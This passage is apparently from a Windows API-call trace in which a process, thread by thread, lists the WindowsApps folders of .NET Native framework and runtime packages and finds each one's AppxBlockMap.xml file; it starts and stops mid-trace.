	[0079.390] wcscat (in: _Dest=0x4767e00, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 759
	os_tid = 0x1b08

	[0079.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ca070
	[0079.391] wcscpy (in: _Dest=0x47ca070, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe"
	[0079.391] wcscat (in: _Dest=0x47ca070, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\"
	[0079.391] wcscat (in: _Dest=0x47ca070, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\*"
	[0079.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1540
	[0079.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115e8dfa, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xae7e244c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x12f3e2a7, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad338
	[0079.392] wcscmp (_String1=".", _String2=".") returned 0
	[0079.392] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115e8dfa, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xae7e244c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x12f3e2a7, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.392] wcscmp (_String1="..", _String2=".") returned 1
	[0079.392] wcscmp (_String1="..", _String2="..") returned 0
	[0079.392] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1178c791, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1178c791, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x12d01ea9, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x2272, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="APPXBL~1.XML")) returned 1
	[0079.392] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.393] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4767fd0
	[0079.393] wcscpy (in: _Dest=0x4767fd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe"
	[0079.393] wcscat (in: _Dest=0x4767fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\"
	[0079.393] wcscat (in: _Dest=0x4767fd0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 760
	os_tid = 0x1b0c

	[0079.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ca210
	[0079.393] wcscpy (in: _Dest=0x47ca210, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe"
	[0079.393] wcscat (in: _Dest=0x47ca210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\"
	[0079.393] wcscat (in: _Dest=0x47ca210, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\*"
	[0079.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc17a8
	[0079.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13f7c62e, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xae87e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x164e3d2d, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad378
	[0079.395] wcscmp (_String1=".", _String2=".") returned 0
	[0079.395] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13f7c62e, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xae87e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x164e3d2d, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.395] wcscmp (_String1="..", _String2=".") returned 1
	[0079.395] wcscmp (_String1="..", _String2="..") returned 0
	[0079.395] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc17a8 | out: lpFindFileData=0x2dc17a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1403b242, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1403b242, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x164250c2, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="APPXBL~1.XML")) returned 1
	[0079.395] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.395] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x47680b8
	[0079.395] wcscpy (in: _Dest=0x47680b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe"
	[0079.395] wcscat (in: _Dest=0x47680b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\"
	[0079.395] wcscat (in: _Dest=0x47680b8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 761
	os_tid = 0x1b10

	[0079.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476fcb8
	[0079.395] wcscpy (in: _Dest=0x476fcb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe"
	[0079.395] wcscat (in: _Dest=0x476fcb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\"
	[0079.396] wcscat (in: _Dest=0x476fcb8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*"
	[0079.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1a10
	[0079.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb26701cd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae8ff986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69da07d7, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad3b8
	[0079.397] wcscmp (_String1=".", _String2=".") returned 0
	[0079.397] FindNextFileW (in: hFindFile=0x2dad3b8, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb26701cd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae8ff986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69da07d7, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.397] wcscmp (_String1="..", _String2=".") returned 1
	[0079.397] wcscmp (_String1="..", _String2="..") returned 0
	[0079.397] FindNextFileW (in: hFindFile=0x2dad3b8, lpFindFileData=0x2dc1a10 | out: lpFindFileData=0x2dc1a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb26701cd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb26701cd, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb26701cd, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.397] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.397] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47689c8
	[0079.397] wcscpy (in: _Dest=0x47689c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe"
	[0079.397] wcscat (in: _Dest=0x47689c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\"
	[0079.397] wcscat (in: _Dest=0x47689c8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 762
	os_tid = 0x1b14

	[0079.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476fe48
	[0079.398] wcscpy (in: _Dest=0x476fe48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe"
	[0079.398] wcscat (in: _Dest=0x476fe48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\"
	[0079.398] wcscat (in: _Dest=0x476fe48, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*"
	[0079.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1ee0
	[0079.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb26e2784, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae9b674b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69fb68e3, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad3f8
	[0079.400] wcscmp (_String1=".", _String2=".") returned 0
	[0079.400] FindNextFileW (in: hFindFile=0x2dad3f8, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb26e2784, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae9b674b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69fb68e3, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.400] wcscmp (_String1="..", _String2=".") returned 1
	[0079.400] wcscmp (_String1="..", _String2="..") returned 0
	[0079.400] FindNextFileW (in: hFindFile=0x2dad3f8, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb26e2784, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb26e2784, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb26e2784, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.400] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.400] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768ab0
	[0079.400] wcscpy (in: _Dest=0x4768ab0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe"
	[0079.400] wcscat (in: _Dest=0x4768ab0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\"
	[0079.400] wcscat (in: _Dest=0x4768ab0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 763
	os_tid = 0x1b18

	[0079.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476ffd8
	[0079.400] wcscpy (in: _Dest=0x476ffd8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe"
	[0079.400] wcscat (in: _Dest=0x476ffd8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\"
	[0079.400] wcscat (in: _Dest=0x476ffd8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\*"
	[0079.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc2148
	[0079.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff4e801, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaea38daa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c77f49b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad438
	[0079.402] wcscmp (_String1=".", _String2=".") returned 0
	[0079.402] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff4e801, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaea38daa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c77f49b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.402] wcscmp (_String1="..", _String2=".") returned 1
	[0079.402] wcscmp (_String1="..", _String2="..") returned 0
	[0079.402] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff4e801, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4ff4e801, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4ff4e801, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.402] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.402] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47691f0
	[0079.402] wcscpy (in: _Dest=0x47691f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe"
	[0079.402] wcscat (in: _Dest=0x47691f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\"
	[0079.402] wcscat (in: _Dest=0x47691f0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 764
	os_tid = 0x1b1c

	[0079.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770168
	[0079.403] wcscpy (in: _Dest=0x4770168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe"
	[0079.403] wcscat (in: _Dest=0x4770168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\"
	[0079.403] wcscat (in: _Dest=0x4770168, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\*"
	[0079.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc23b0
	[0079.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ffc0fdc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaeaf585c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c58f618, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad4b8
	[0079.404] wcscmp (_String1=".", _String2=".") returned 0
	[0079.404] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ffc0fdc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaeaf585c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c58f618, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.405] wcscmp (_String1="..", _String2=".") returned 1
	[0079.405] wcscmp (_String1="..", _String2="..") returned 0
